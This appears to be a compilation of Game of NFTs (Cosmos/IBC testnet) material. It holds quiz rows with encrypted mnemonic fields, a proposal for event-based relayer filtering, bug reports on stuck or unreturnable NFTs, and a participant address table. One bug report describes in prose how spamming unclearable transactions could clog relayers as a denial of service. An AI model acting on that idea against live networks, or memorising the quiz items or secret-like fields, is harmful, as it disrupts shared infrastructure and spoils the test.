quiz081 | iaa1fr5pn20jd26kvaq2xs9lkk3dd2cj52wf5jtrvj | {"question":"Who are the main contributors to the ICS-721 proposal?","mnemonics_encrypted":"PJ8VcSdfCmAdToP2pmp8freeFElwm1HyGW4IbG9hlLHe4nCxcLB5mvA_7QPiSdcU5SjQ-sdHTv0Wxv4aD92DGysffdPhobuM5KcUOX67BDJAujRuEthnD_K8wr6zZikshRB6ukCqeYJhwlr4dv0NYYG3eCzr79W-a4qYwbiOFrvr_NqUvbYWioZgL76AJnwDu9zSu-JgxIynquUKpJ7r-FvivgijbGw=","flow":"f04"} |
quiz082 | iaa1p5h2m8hkqstjeheanthn9ytad25vtjjvpd57ge | {"question":"What is the group of chains that have enabled IBC called?","mnemonics_encrypted":"HN13EYuG0HrBFha7BvAR3wpiSoOqb6ARSMzB7_akq6MIkahFGECmPzj3crGoRg9OQA7mWcogg7QWD8BpUqTZmoIHJrabc2uOIuHkr534Q17IpJ6To0_GVl5fgrgR-9tKM4g17WPNpWVMTxfwWfHBPsE3wp5Sj0EDTQedVlrnfG9CIovHCGJ1XB5qNR7e4gnHqjS_Wv4K57LVm-4eX9NYtDRLbSUO10I=","flow":"f04"} |
quiz083 | iaa1y29u2quctydy8tzeudycyu5uh4cs2nvt5lnrw0 | {"question":"How many chains are interconnected through IBC, according to mapofzones.com?","mnemonics_encrypted":"WT94V-CsFb5pzFFfq5z7VBPcH-7hxxWAlijbgtIpbgEbaWhDz_ZHQnzC572PuM6HololXNHu0cvN9EJIH2TN816y66Mxgv0qGAwx-CQHCExxoVAhMzuNmoDrckzhMpR_AzOUMBm7IzDYH8NPZx-0txPI09RyJk8dfzusMfBXyjXawk4pZV86J3-_oErQekcTJL5cRSKcGq1YRjq9yXF99us9","flow":"f04"} |
quiz084 | iaa17ehv72q38m8cm5pfj3s2wg0vr85zd5g906f69c | {"question":"In which year was the Cosmos Hub launched?","mnemonics_encrypted":"z6ruhNkI0gLlAxm3xkTvxg1tHg3jTsw8tMtpey67wlQa_h4mJAEsqkFGDN9qCRjM52GgTxL3jR3wdt_Tyq6wF4dMW8DdJSv1GspTDjFFxDAJ1QmemxQrLGy49RDOfEBVdl55SAEGbI0AvxgDYjr_WrZ1fd6pHGMenVx7l6uDoBbt9PpeHF35mwaRaVSd1OgmS6IY16A5A6w-YpOgLOBxEcpQs3y1VyvSGC8q","flow":"f04"} |
quiz085 | iaa1ugyq6cxny2sdahm3me0fv7nqjawyuhehw3pj23 | {"question":"In which year was the IRISnet mainnet launched?","mnemonics_encrypted":"Hto6l6I4b0rnnLPuIFz4ErXK6C6RVZFeiIv-B5tCgPUElPeZW0NZUNKhVo0_oht8fIzns-E1lyDzmXy7QNPRtenzCrWU7Jzjq2SdXSrs8k4KpXKL7XwEA3dq6y0Z0-OM2pII__0_ZRIkiS-jz-aKw6GmoAC5o62lDz6ncejUHOI2Hq4tAVJ_riU4EsUsaEgJJRBAJFyfaj0GtijPr9ZOYClVBd4=","flow":"f04"} |
quiz086 | iaa17dkf2nr30mhj078jk0rasayg3lj0zej773us0c | {"question":"In which year was the OmniFlix mainnet launched?","mnemonics_encrypted":"X9o8gbVHV0qYt0dU7sjykt-Dm2DzqcS1xeY7mmh9TBTJM0tMAk0KuVBb3xmKb6yUJvnzf8TfSqj-3jBwpWsxF3wxsUk3OepNWn4WgMwwz6DYfsbIHvvXV7wJPLhI0nsfw6S7xIQHUahcPUXbKRJ8FYuw3n1zCFvXSsMtvqglbuWHaBRf_OT5EnK2eCbsn0YEZyXtUVIlwRce_LQ_K7U=","flow":"f04"} |
quiz087 | iaa1xze5vykamxxlfuvux0h7g0vs92zwfnvcxev77m | {"question":"In which year was the Stargaze mainnet launched?","mnemonics_encrypted":"DBvoSqZ0v0bJqIRPDcAdDpD8dkiELgv3jiyblsRc_9uOnbFqOqYlxjAy3VN-_mY1BoorpJsU4mwLbLUGNagynmZJCRjPUUhpZcBvrNtNUpdlztnpoX1C-kV6iG5tuH9h_YiSq6d6V8UoERRXVFcOisR1jY-f_i8MtZMqtNoa7STCSl_W3NznVBMxaJUBx9N94a4Qq6HPbQR56n2HG549Dg==","flow":"f04"} |
quiz088 | iaa14lp7ec3meu3lj8ffh9ksfug8n9sa47z79rvh0c | {"question":"In which year was the Uptick-Chain testnet 1.0 launched?","mnemonics_encrypted":"crqKa6gZ_hMD5ZdJYtgcBO7DJqY6nXiEZxtTESEfX7HvRy5qemXAQMUuF4buOBapQ00YcXMaFeqKSpHmAzg7CG7-PCQhhssNfXnloAm7A8mrk5LW_FZPBhq0EM4NYw1_iJtaIjD6G7Tgp3jGW5T9BC1cbIaWu9b0mzibCV7b4toOVsGGC0Zssu0GjE5PwS6n4ciUjm-eWjETE7WCntnHe3727HTBU_M=","flow":"f04"} |
quiz089 | iaa1rkkv3ch54twu7nw6xq5a38mf8rvmvg6h7hlj5y | {"question":"What programming language is used by the Cosmos SDK?","mnemonics_encrypted":"IE3Ny5xdnccPZ1OkgAuujs28KFHcd_tSrP_SUUDdIl8CrjhlaZJf2DzYHMlHSHzHPWeQaDnm3PNaJtI0N0Iq3slw-d_bGQquUf4HkuSLj3tB-ebqECy1_DL_wX0xOADGjBcK-BlInvNYg2XyRm85dzt1PtY8R9mlkd6LExF01G6oK1hdO7fYPjRbes2XM5AvewnlnQBzdRzE3rOOwk42H0tu","flow":"f04"} |
quiz090 | iaa1gn7ens7wkxef748vewpyh2ecpgvuddwahjw47q | {"question":"What is the name of the protocol/standard that enables communication between independent blockchains within the Cosmos network?","mnemonics_encrypted":"G4N3mO8vVQz_q2YFH2zUhdcDgfYoRGF-0OLA12GE4HJ9FYWuAbhP4IiX1AM0uaMZNPSpa-xqKnP69sZFi0A-VRkrTx4BzCEX-kcR0FNs2zSa0Jk3QK78dc_dWaDqKECdyItQ6jbn0SH32AaYSpKox6hK518OC7X-gkUCOml36Os90K5RPyeblo26Qm0DuNQV0zvW6KlLttL8REf631pHGG8AQXUkukEoaIYljhWJ","flow":"f04"} |
quiz091 | iaa1ewwj2eta3pwlnz2lpq6pqnsradq3ghf3mglfet | {"question":"What is the name of the decentralized exchange (DEX) that uses a mathematical formula to determine the price of assets based on the ratio of the available supply?","mnemonics_encrypted":"PfeXaj3O8IQdQ0LxKvG0KHjnkgwQhlt-4Ce2wW45S_itrR8NIXoMc6o8nLza-GQQKNQWnkBaqKVcQHtqjyqOt16Mn86Q7Hy9IaYPbPFgqsy0f22xuLSojtgfr6z0Ur6PYlN_rST9rnaXzDvhGycxElcg5z2XIGQ-wb5DndyqU_o9aEncCTF50fXJHRtW4WwpYOc7gls1F6vOvIOuf9lqzMwa","flow":"f04"} |
quiz092 | iaa1q7pwzcmnhvghlewut0vjj6npssamnuhsky9sl3 | {"question":"What is the term that describes a blockchain-based exchange for trading digital assets without centralized intermediaries?","mnemonics_encrypted":"ozXdDbZEk6lYR9gDBYiBX-o5Olb4ln92AYY8AtePPyuazCYnvFSbxRLdq40rNXoh5Ala1k3WWqOF4EKL7dXM_dinHUAkkBTeLghilwmPmjUYzpGC_LJrDafh6RilcPIgFMQVXSOgifSDn71pPEg258rdAKEBcgLb5Hkl7ADxt1dPmTl9-oFO6gYUC14SRZoLJSXAIn0Kehq8j9OjRjEVp5PaRt5jlBqS1dPBv5Qhe5WJpDFb","flow":"f04"} |
quiz093 | iaa18g4tr8rjjetew5ntrpyt4p57v6lyd5qklmkn7y | {"question":"What is the name of the organization that is building and stewarding Cosmos? (abbreviation)","mnemonics_encrypted":"d_eTjtu9H3a1j7d9M03ORWQN1Nq0EWvFNZulEYYK2xDNh6gYIEiun8nup84dvjSvUZUfymYS8CXKbqbJyfx6cCNiGNcjLTjrLOla-k8CCufEQV1PDiG8-Y3S6DbW6YpTt8JGbINS7oWD0_UNv8jr3ha7vRJTQ3snRURC4pJxHVC_-bwPZa0QMro3OKOhSaoj-vsUkORmO-7jRqqUKjfZKdUCEGtw8V4hYK6sJPE-lg==","flow":"f04"} |
quiz094 | iaa1a4m24l7pv0pmy3dq8d4whs6fmjaqlw6hhccczx | {"question":"What are the IRISnet community members called?","mnemonics_encrypted":"xZbjWDwwkc3tWwR0X6mYuIEk9Rm8j-9oTXG5aUNmoTXLl-9CHbTEREcOtDIoZF3ADVMJGmK9z5ILvDXzajFpgPvlTq1rR_K4owTglYn8PDEeLbjWUvOwl6DtCh8bKz_tcRTLYt0nW0RAkhm1AeYDSUTs2jG0VWBgEuEddPRep5f_YgHZtKKh57YeWlkNK1l2DtmM8w7fjrWE0Lcm5uGJ3k2VEZKySfA=","flow":"f04"} |
quiz095 | iaa1dvshuy7c9rkzvr87g6dmwyxatxhfhkn0fz08sd | {"question":"What are the Cosmos community members called?","mnemonics_encrypted":"_IM7T0rM4JaYjrQYuPUOsTe11ZZCetd81UgJRgDueQ2EOGN8cMwEyQfxJTTB5FjwsgSqHG4Pxdtf-FBe3SNuw2ZJFTmWkKZp06rRPiv-WGJ4x7SB8_g0ZpkoQkpO6lCQws4Na0OwMvP1eRCH3Cc7XGyfkzMwzvOdQ__uUKoYFktlJwwFjghVORyzzL9qfeSaNCnWSgLxNisQwIncrsUN-g==","flow":"f04"} |
quiz096 | iaa1h76dw72f7mhys47pzt02uvru9739grgt4jck9l | {"question":"What are the OmniFlix community members called?","mnemonics_encrypted":"_eQ8heJ0l9-2_LQ4j-JXXCa31IIUqTyFhQI7jnc_Yxg2xkf2eYNTgzL7Epp2oPqh3UsrrvTrw7gf_y6mR7y-tynqxOKLGYJcbL5QwgtNtpy0bH1Lae1y6ybC0-28i-mojGamMGm9F12SCP9zafrAWxEvfZg3g2Z6qMYx8BEuYJuDqJdzoKNpn5nG-v_T86-9Eq5QixQD2DyNJoOkKxBcmrsuOkjUHu-8","flow":"f04"} |
quiz097 | iaa1h2tdk9v4z8u8tyerxhhcxp79upujdz7ypeq99k | {"question":"What are the Stargaze community members called?","mnemonics_encrypted":"IQBB5rQCdim283JOemmbwNy81-N6BmRaBHd53vikCfJ6pAvFqvmuUhyLGy05tb7boUMsVOLVCSGNBmbf7lXqziKaaAUmdouqo8j7Z17BwRWDg5A2xWlXBcp4ZrIIykdU3tsss0rPYFZ9yXKbLnlkzAmEMDrZRhyP7leU2l7sA_poxAhtOQ3NyIigOjexGYzyWcQRAgYS5CAnBRwqC8S7","flow":"f04"} |
quiz098 | iaa1xuwxqhvj3lq8xu6py9lkkhccdg3etd6ad7q6u8 | {"question":"What is the name of the newly launched state machine replication engine for the Cosmos Interchain world?","mnemonics_encrypted":"P8a2P64oKCfTDW4U4aSX8OH3eyHDCbTXg3thO2nQcl0taqf0rz_zmtJPwS8k-8wDjubaSS-IOV_Hk2ZfC6nFhVFWRmFljebTt-kLiQL4I3wyoNS5NEFNLDqxlmZprFa7h41Odm1AOcwxaH_UIaHX8OXrqKgY2qEhaVHk0NhdYr16sI2-PQIDnwdRwQhr-iL7erU0jw4I6ac7UfVTpwI=","flow":"f04"} |
quiz099 | iaa14alezgfg4wy7pfrtxy5tvpy9u7rstlkpp0fltx | {"question":"What is the delimiter for ibc class trace?","mnemonics_encrypted":"vQS2tVP0k5Iut3NAMMqatUldOO5-qDeDlpgd42MxadNvzBYKaWBBtZacl6JGgvcFLKoiPwVebpGH0ui9cRywP6BoTETMJ0eJUEESGd45j0m0UOeKuOuxc8O6KIP0AsajyniQR1pEsZ__PbJenAlyRCcwb-f4C9H_Vf2vPfW_hW_QTME0S7zmndWDdY1YkGU5h_hEHnNPMFF6JEtnHfr7WmaLx5AOKwIufr-10mA2vn_VlAyXzTFAUQ==","flow":"f04"} |
quiz100 | iaa1g7k2af2ytyj63hgjqkg44a7gxnegxcju4s9rwh | {"question":"In which year was the Cosmos Interchain Accounts feature launched?","mnemonics_encrypted":"7PGJmSd9nZFUxepfGWKboMtnEZnucPEswUBpe74ciWU2JyZnKfFcaULCBBHGCnk4C6hk84WFpcihxDCTFB91i1S3GktoSYJh2nyZiwweLIiWu5YGsE_udzsZSMYje2xME3oXxFqawy9UlIalRmRO0eEKz_ic4-lQchejtaFkuC511j3_dcADja4X7he6Mv4fY-DToB1Wd6NwkjudYdvvaFi4pA3iyKzhWGTxI4C9","flow":"f04"} |
My strategy for preventing a bunch of txs stuck on channels is not to actually prevent them from getting stuck but rather find ways to ignore txs we don't care about.
It should work wonders for any scenario where you can know by transaction events which packets you want to relay (and it handles timeouts and acknowledgments too). This alone will not work for every scenario (the other scenarios are discussed towards the end), but it will let you relay the following:
In the demonstrated solution, I took a naive approach that will only work in a very controlled environment but can demonstrate the principle: letting relayers filter transactions can improve throughput in scenarios of spam or attacks. The demonstrated approach is using a whitelist to approve transactions for relaying. It uses events as the basis for the filter and only approves senders from the approved list. This will effectively let the relayer ignore the noise and only pick up transactions from an approved list of people.
The whitelist approach can be deployed during Game of NFTs (or other controlled testnet environments where you have a list of participants) to keep channels open for participants to test - even in the event of spam/attacks.
To test this, I did the following:
rly q unrelayed-packets PATH
), try to transfer an NFT (from a whitelisted address) with the expected result: The unmodified relayer was not able to pick up the packet in a timely manner.The connection details:
Stargaze port: wasm.stars1ve46fjrhcrum94c7d8yc2wsdz8cpuw73503e8qn9r44spr6dw0lsvmvtqh
Stargaze channel: channel-241
Juno port: wasm.juno1stv6sk0mvku34fj2mqrlyru6683866n306mfv52tlugtl322zmks26kg7a
Juno channel: channel-133
The code is very basic, ugly, and hard-coded. This is because I don't know the go relayer code base very well and took this task upon myself to demonstrate a potential solution, not create production-quality code (yet). Before much more time is spent on this, I want to discuss different aspects and variations of this solution (discussed in detail further down).
gjermundgaraba/relayer@480f4fa
The core issue in our case is that the relaying economy is altruistic and easily exploited. Some approaches can be taken on a protocol level to decrease the possibility and effects of these attacks, but as long as there is no direct cost for the user to relay a transaction, we are stuck with two options:
The solution demonstrated here is simple enough: it filters based on events. But that also makes it fairly powerful: you can make a whitelist filter that catches all the scenarios you need and increase specificity as needed.
Another way to go about the problem is to implement a simple blacklist based on the same principles as above: look for certain events (from, let's say, a known malicious contract) and don't relay them.
This is probably not very scalable, but it could, in a pinch, provide relayers with a simple method of updating a config file with a known in-progress attack event and spare users without too much effort.
Connect the relayer to an off-chain service that indexes the chains and finds, using different sources (such as machine learning-models, discussed further below) and outputs a whitelist and/or blacklist that can be used for relaying.
This method has a lot of potential because it allows for the aggregation of data and more complex rule sets than just using events.
For instance, it could easily allow transferring NFTs that are created from a specific range of contracts (based on code-id) while ignoring everything else.
Finding ways to automate a blacklist or whitelist seems prudent if this is the way we go. We could, for instance, keep a cache where we count the number of transactions from particular accounts, and if they go above a certain number within a time period, they will be put on a temporary blacklist.
Essentially, we could have rule lists that do pattern-matching on events or other things and uses that to automate a blacklist. These rule lists can be implemented in some configuration files that validators and developers can easily share and improve over time.
Machine learning (or "AI") is exceptionally good at finding patterns in large amounts of data (if trained well). By collecting data and labeling them, we could train models to detect new forms of spam and attacks and quickly prevent them from causing too many issues.
If this becomes a big problem, the ultimate solution would probably be to layer these solutions on top of each other to provide multiple mechanisms to fine-tune relaying.
This solution has the most potential because it doesn't restrict anyone from relaying whatever they want. It simply allows relay operators to tune their relaying operations in such a way that they can best serve the IBC networks they relay.
It is also much easier and safer to update than, for instance, an on-chain whitelist of any sort that would potentially hold back builders (with this solution, they can still relay themselves).
Finally, this solution is not specific to only NFTs or a small range of problems but is inherently extendible and should (with all the different solutions - over time) support any IBC traffic.
We have been having issues with NFTs getting stuck:
#329
Aptly nicknamed #NonFindableToken by @chillyvee.
First level observation: it seems like perhaps the go relayer was the only relayer running on is-2, si-2
. Because when I started up the hermes relayer on this channel it found the missing transactions and posted timeout proofs.
My intial missing tx (more than 24 hours ago): https://gon.ping.pub/stargaze/tx/9A569DBF71A38CE3927E5EA05A24C585E39716AE31BAF21121960661C63D016D
The timeout tx from my relayer: https://gon.ping.pub/stargaze/tx/E21FEA090D179E97E04E5F9D65EEFB67B0067A52CF7F16E6C34A7C20BBADAC5C
This might of course very well be a relayer configuration issue and that for a short while nobody relayed on that particular channel, and the misconfigured relayers didn't pick up old ones packets.
After transfer via IBC an NFT that has a classID with special characters (e.g: p/0/1
), I can't return it to the origin chain.
Ubuntu 20.04.4
[email protected]
iris tx nft issue disperze/0/1
iris tx nft mint disperze/0/1 gonft001
iris tx nft-transfer transfer nft-transfer channel-24 <receiver> disperze/0/1 gonft001
MSG='{"send_nft": {"contract": "juno1stv6sk0mvku34fj2mqrlyru6683866n306mfv52tlugtl322zmks26kg7a", "token_id": "gonft001", "msg": "eyAicmVjZWl2ZX.....zF9IH0gfQ=="}}'
junod tx wasm execute <cw721-contract> "$MSG"
Expected: Recover the original NFT on IRIS
Actual: Error ibc/C99502011F102E8562678BB2FD928A7CC78E051C207DF6908C3F1E30BD9F1D5C: nft class does not exist
ClassID sent from JUNO chain: wasm.juno1stv6sk0mvku34fj2mqrlyru6683866n306mfv52tlugtl322zmks26kg7a/channel-89/disperze/0/1
but nft-transfer module is searching classID: "ibc/" + sha256("disperze/0/1")
instead disperze/0/1
Txs
IRIS: https://gon.ping.pub/iris/tx/5210E17BB09FD3B3DDB77844C9D3E375182251275DA84F386925734FE3910D81
JUNO: https://blueprints.juno.giansalex.dev/#/transactions/5E7EAB3013FEA650ADB1B91D1A6F4FAD2DEF0BB66B7C7989FF11B67450EDFA58
go method:
https://github.com/bianjieai/nft-transfer/blob/v1.1.1-beta/types/trace.go#L64
For A8 - flow-a2 - never-go-back task, My nft stuck on omniflix.
Now the nft stuck between omniflix and iris. Nft does not appear on me neither omniflix network nor iris network.
Expected: The nft should have appeared iaa14zru37e9zrha0lsnc64e89mc22etq50gaerxfd on iris network or omniflix14zru37e9zrha0lsnc64e89mc22etq50g49jwuz on omniflix network.
Actual: Now nft owner is omniflix1m2nuc50f4qk2czsahluts574agsn9gr9zrnmkt.
It seems like an ibc relayer bug.
A certain user 0xtekgrinder#1558 used the gon cli service and sent a transaction from Juno to Iris.
Transaction hash: 94E6EA52C5B3EC73B407D6C45CA6D7B0C5E335920CC218B1E59E10EB9D3C9896
It got an error: rpc error: code = NotFound desc = packet acknowledgment hash not found: key not found
After a little analysis, I saw that it was the height of the block specified in the encoded message:
ewogICJyZWNlaXZlciI6ICJpYWExZDk1NzhreHA4ZnUwYXo4MDk4ZDJyOXd6bnFmcjBud3d1dW1tOGUiLAogICJjaGFubmVsX2lkIjogImNoYW5uZWwtOTAiLAogICJ0aW1lb3V0IjogewogICAgImJsb2NrIjogewogICAgICAicmV2aXNpb24iOiAxLAogICAgICAiaGVpZ2h0IjogNDE2NzA2CiAgICB9CiAgfQp9
The message is the following:
{
"receiver": "iaa1d9578kxp8fu0az8098d2r9wznqfr0nwwuumm8e",
"channel_id": "channel-90",
"timeout": {
"block": {
"revision": 1,
"height": 416706
}
}
}
But the transaction was executed in a much higher block. See screenshot:
Perhaps this is not a bug, or a service error.
But as far as I know, timeout related errors look different.
This confused both me and the participant.
Please pay attention to this.
If this is a service error, please explain why such an error occurred and what exactly it means.
Thank you for your attention :)
P.S.
The discussion took place in the gon-testnet channel
While relaying I discovered some strange transactions that seemed non-refundable. This was discussed here as well: #329 (comment)
In short, the nft-transfer
module incorrectly assumes any class-id with a /
in it is an ibc-denom and therefore creates a hashed class-id (ibc/hash
)
The issue is this code: https://github.com/bianjieai/nft-transfer/blob/6b8596c47042c45cdba994b2b4e1b64f1520041b/types/trace.go#L64-L78
(A PR with a test and solution is incoming from me over the weekend!)
Seeing how these transactions keep coming up in any relayer configured to clear out timed out transactions, it seems like if you spam these transactions that can never be cleared, you can clog up the relayers. And if relayers are not able to clear out transactions, other legitimate timeout packets can be denied (so basically making this a potential denial of service attack).
ClassID:
gonTeamRace1
gonTeamRace2
gonTeamRace3
NFT ID follows the same naming convention as follows:
NFTID | Recipient |
---|---|
gtr1/0xMemoryGrinder | iaa14wxkt5lavx94ufj6l8fkuj9lxxy2zqysxhdu3t |
gtr1/0xtekgrinder | iaa1d9578kxp8fu0az8098d2r9wznqfr0nwwuumm8e |
gtr1/2019jack | iaa1jmk0t74c728v2npnpnxqkvufyyq7pw5lrtzjcy |
gtr1/79anvi | iaa17nlwd0ejtlckepmgncyngaqdpqdszqsszpmqht |
gtr1/BCSungjin | iaa1us78halwtf4tslhav7vklhusw7f7l2l4mfy7jt |
gtr1/BalluPetr | iaa1hrrux3lmx7n3qzrjw47f7y87dwcy2shkvh75yt |
gtr1/Blockpower | iaa1vthjgnenmkfh50vjapm6jwyugkd7h9l77vylk8 |
gtr1/Boblev999 | iaa1he99523wfdud7c9me5redjmrtg40p9mzyery0c |
gtr1/Caneryy | iaa1nd0emtkzyfaw6zxmz7jeer524d6zgq6qm3jjs6 |
gtr1/Canguilhem | iaa1qtz0867px6zwssl662y7u6xf9dr7fe3qmak36y |
gtr1/DAICers | iaa1njk6jqwk6qqeh4edgulyeppcaftk4c0ypupk6u |
gtr1/DanielX | iaa1evtsujuuh8ksdl9ds7v4jyvh9wxgz5mkqu8xfl |
gtr1/DasRasyo | iaa1amth2ukke6skv6jnhcys5z3nhdp8waqgycfpv8 |
gtr1/DionGantung | iaa14u66dfqrprh55ymuljx5dxy9x0hx6ejhwp3vnc |
gtr1/DjLenna | iaa1zy7p7d8lzz0ee2dcjrrenzpswgl47eelrkx2qg |
gtr1/DreamGallery | iaa1a0v6jt0xg7w4ljlh8dywjgtkrfeqr00l50sr24 |
gtr1/EcaterinaSm | iaa1084xy70k92shk4dcqxps7ujknw0h4ewfxwvt2l |
gtr1/EkonnK | iaa1tgaaffjsw2366u4enl530muvwkkl0crtdu3lu0 |
gtr1/ElfenLied2019 | iaa15k5pldxddu3casukt8g279au0ynzff2xwwjv54 |
gtr1/EmreNOP | iaa1e26fequ4hengrfs9sgznaq34hgra9w587awu9r |
gtr1/Exclusive048 | iaa12xm6wl4xq67k5lyz8g05re9ela8njpchy30d7l |
gtr1/GreenMit | iaa136wlf0hc0jzsxqt66ug4535uascygh4vkx8e4a |
gtr1/HashQuarkResearch1 | iaa15neaqq7kyewa6k3dtdhrgl6dk9pmj7umhewyld |
gtr1/IAmScRay | iaa16yfrzsnnk8qk85h2c2e33czm8h6ezdxr67tq7a |
gtr1/IvVasil | iaa1l9ycf23pvegy2n568fs708lgxumfrzdyuwc89u |
gtr1/Jav1x | iaa1l23e3s7a85puq7v4p2fuyppr454antkdx7ndf5 |
gtr1/JeTrix | iaa1tr8jc7pqtkuztf85l9xyq4fpwe7cn4pn2f94jw |
gtr1/JianHongHong | iaa18gxf440n0jz24624e6vh9r52e66esxrrr8pnm8 |
gtr1/Jimmy668 | iaa1tqz6k8s04pd7ps9cug85da2uaa695l5zqervd5 |
gtr1/JiuKelo | iaa12zqr9a772flwxvawwpzp5as2ptwmj422mr4vrt |
gtr1/KaliaNetwork | iaa1kzdyjtf50d8t467u43c9v87v8fk879dt5k2qe2 |
gtr1/Kutuzov17 | iaa1fln4q5wulfgr4qk7s7hnlxfnyghlg62s490vaj |
gtr1/Lefey | iaa1lc4pf2m2623d7573c2k7qfp4ymflqy04m23h5p |
gtr1/LevVlad | iaa1xs7wmqh6wjg3z8yqaykjvma9whervxua0pl3ey |
gtr1/LiangLiang918 | iaa1dhavldfmgg0dml8rzl66684yhey2aaw7x3t473 |
gtr1/McDaan | iaa1knp4syd5vm9l73axl7njpjnjlmqyghk266t9ty |
gtr1/N1ghtSe7en | iaa15jdwqnynxzhhunymzgdhu233t2kcn5v4e8purt |
gtr1/NiCoderPro | iaa1y32g70jkc5pz8f7fl66mzh3pem2juh5k27w2sv |
gtr1/Nodiums | iaa1x25yfkqad82rxv7kn202stzxc87pg83dcj4hcr |
gtr1/NyseDev | iaa199mhptqpvu47nr5hluerdtmxn5sz3eameapala |
gtr1/OlegBirkoff | iaa1zzx583wtxgu6pnyq4gyhj0mspx7eehpudvupqt |
gtr1/PetrFerz | iaa17ddw884ly906vccg40qne0tqzysytumzrk6ap8 |
gtr1/RFuture | iaa1nkk935vnxpcqrt7ul67dtvekh7cr0ednq6ffmt |
gtr1/SegaStakers | iaa1xul2k99x5hug55kyka2mjphqjyjcd6wuay55q3 |
gtr1/ShenFri | iaa1kk3qg20e2vmcuzeuau8yu9kzqhcr3eweqfwxkk |
gtr1/StarfallGame | iaa1a3hm8eacldjguqzcsmppkghvcdmwlz8t8nlhde |
gtr1/TheCodeor | iaa1wxl44399uppwd5uc6rrgz07plzs9atv8fxt7qr |
gtr1/VasyaIvanov21 | iaa177qeth9t4qdpczfr4vke4wu3gfet2pdp9h5lmg |
gtr1/Vgk88 | iaa1ksu5npssgngfm0h8zc3hu0rrkux8z9gmvj9zvm |
gtr1/VladDevv | iaa1kw75spqdu6xcc2qjzm2c8qqrv66asv7qd9g96v |
gtr1/Wangxiaolei123456 | iaa19d2xsacl785y74dhmkr48apz24258va0pr76e4 |
gtr1/XuehaiZhang | iaa17tmylzn4n9ekeyvrkj248j2g490qs2yyuxyt28 |
gtr1/ZhihangLiu2020 | iaa1s62hzktpag3k2s2k2tfa9p4lqvagmuwrj0qg4a |
gtr1/akash978 | iaa16hf2amez7xs44cvyz3wh2xdx0tfmepq8zhl3jc |
gtr1/alfset | iaa1k8zukzhyyzuk0wurh9r4j25ttgvzfp7g6hhc5y |
gtr1/alipostaci2001 | iaa1h8uj22du0ka3ylq6rnx00cupey9y6e4jslsqcz |
gtr1/alkadeta | iaa1jmx7k727ea7vd6arra52fw9p4qgn03d7jxl95d |
gtr1/allyter | iaa14zru37e9zrha0lsnc64e89mc22etq50gaerxfd |
gtr1/alpe | iaa1thyrs2wsjgc777z6h6lgpajzpwhwe2e9mgstlj |
gtr1/alxnode | iaa1xgmsyhmfdewqgdltqw4cmkpjghm4f4acemnh2z |
gtr1/amonxx | iaa1z8nmflnpj03q2994vx7h6h90g6uxvaud0wnyum |
gtr1/anurg | iaa1vxeek5v8vw30h2m5hy9jat4w0ygkuqy9v9se26 |
gtr1/ardapda | iaa1du2v73lf4hma5tpq0f73j69h0hm9veyythkks9 |
gtr1/arifintahu | iaa1qkqe3yrhvyvd7y5u8374vcxw2evzgqj2tqlnrh |
gtr1/arnettee | iaa1gg2a0lr5c6yqn4dyhuftwx37f962yh2h0ukuqh |
gtr1/beal2912 | iaa1rxftqkksy3u6n4sdu6l9mz30vm72n9l4uhzdj4 |
gtr1/benrazor | iaa1kt0t57apdcu2s5k7jdvfsslvclu7mktn43kv0v |
gtr1/blacktoor | iaa19fqqwkgrrcktqljpz5vsepkknhe0elgd2mqxqk |
gtr1/blasmorkai | iaa1m8juq54rm6tar0nkf50m436u66mlf8y7sx0x8w |
gtr1/blockhuntersdev | iaa1w8xxkzsglsg9nd2q60f9p292tv2k0dqm2ys4tj |
gtr1/blossom124324 | iaa1hmkc6w4f4wxfu34gtaz6thgm0n57gz674cyaa7 |
gtr1/bronbro2 | iaa1ykluardc70dx0v308dqahngt3dgzvfxjktawpu |
gtr1/bunnygangsta | iaa14twcjxxafcw7x0q4vk4l6aj03mz7pvepzpa0wd |
gtr1/busteter | iaa1qppucn75sp46hnw42yjj6chemf5zgvxwtl5nry |
gtr1/carameleon | iaa1typgf72ee0dq2cznqm6vnlpv0nkcshjhgqmpww |
gtr1/chainsmt | iaa1m0u69jrtd70wrkxkm0jwx64eu7432k4lfen5yy |
gtr1/chillyvee | iaa13rd5d39dp7qdccw05wwnhqce3j0zahzey9tjc5 |
gtr1/ciprianmuja | iaa1828e0j32udqkz66mvuf6znzxvunjptvtuc2w8f |
gtr1/cjisthecat | iaa1vzptwj7v30g0lf7emyqx3u8k7a0rcyxckggh5z |
gtr1/cosmowiz | iaa1q5reqcguqlhgnd7y8rfjhc4988me0lh5drg7al |
gtr1/cvasy12 | iaa159z7wp2gemznawn0rnvd5gkadcrw6tjcfuvlsl |
gtr1/cyberomanov | iaa1s4chs8vs85x327uzgsr4ynrhlhk0da5z2a4nvr |
gtr1/deden2904 | iaa1sxue5vc26wuwwc6f6pxrpel5umwx9zkykp7ppl |
gtr1/deeeffes | iaa1klufvdwy6tjevm6quwcwlykpsge266m5q8mfcs |
gtr1/defiantlabs | iaa1dnmz4yzv73lr3lmauuaa0wpwn8zm8s20cx2rtp |
gtr1/demonchang | iaa1n2sm8zl6zwl4sx2zc39yc2qzvgjtmjhmtea7cf |
gtr1/dhkgon | iaa15vsyx3fk9eqg3tmdp55m8gp77jvg9leej98tyt |
gtr1/dolphintwo | iaa1a055aftycf8tcrwx5latqyxra4r4wvpg4rfssu |
gtr1/ekaterinagorb | iaa1f8wctcnlngve3dcydf38yep2vq5grte06fsdcy |
gtr1/elfelf2 | iaa1xd57q3h47vfrufctpfx4tj2zgdl4w6xc0yrdr7 |
gtr1/fangqia | iaa158stguahxl69hxr85ucpg8q6ms3sxpt5vs8d2p |
gtr1/farukyasar | iaa1pa08ws4mhvp2qcpz5yh4yfqu0rj8hzxwv8fpgz |
gtr1/freak12techno | iaa1w6e8m7tjwp2r2dq366hwf0gtdptgjvdxt66vaz |
gtr1/furkanefeoss | iaa1zdka0sa25kvr4v63gx9s24g8ah629c7k0qc08c |
gtr1/g0odlike | iaa1tte4zgqwnqcesx0kmzz9sm2hjpvzkfpml3rfx3 |
gtr1/giansalex | iaa1zxtlyk7l6n3t46yqse84sza7ar39m8uljcwrp5 |
gtr1/gjermundgaraba | iaa1ypynejafjw6u2cucqp9yjnahxjt3vkl6ms2fum |
gtr1/gkhncglr | iaa1lhm8l68q860pwd46su4r0kt2z3xskjfnmlxlua |
gtr1/gokceeee | iaa1mc6yx0gl727je57wwx7tc8eusl93d77yqytv02 |
gtr1/gokmenkutuk | iaa188ldsnxc4lmpp3te2j0ttd7y55ymyghg6y7r69 |
gtr1/goooodnes | iaa10vacnk5tkky3rle93e7ghl6ms893yx6dx0p94h |
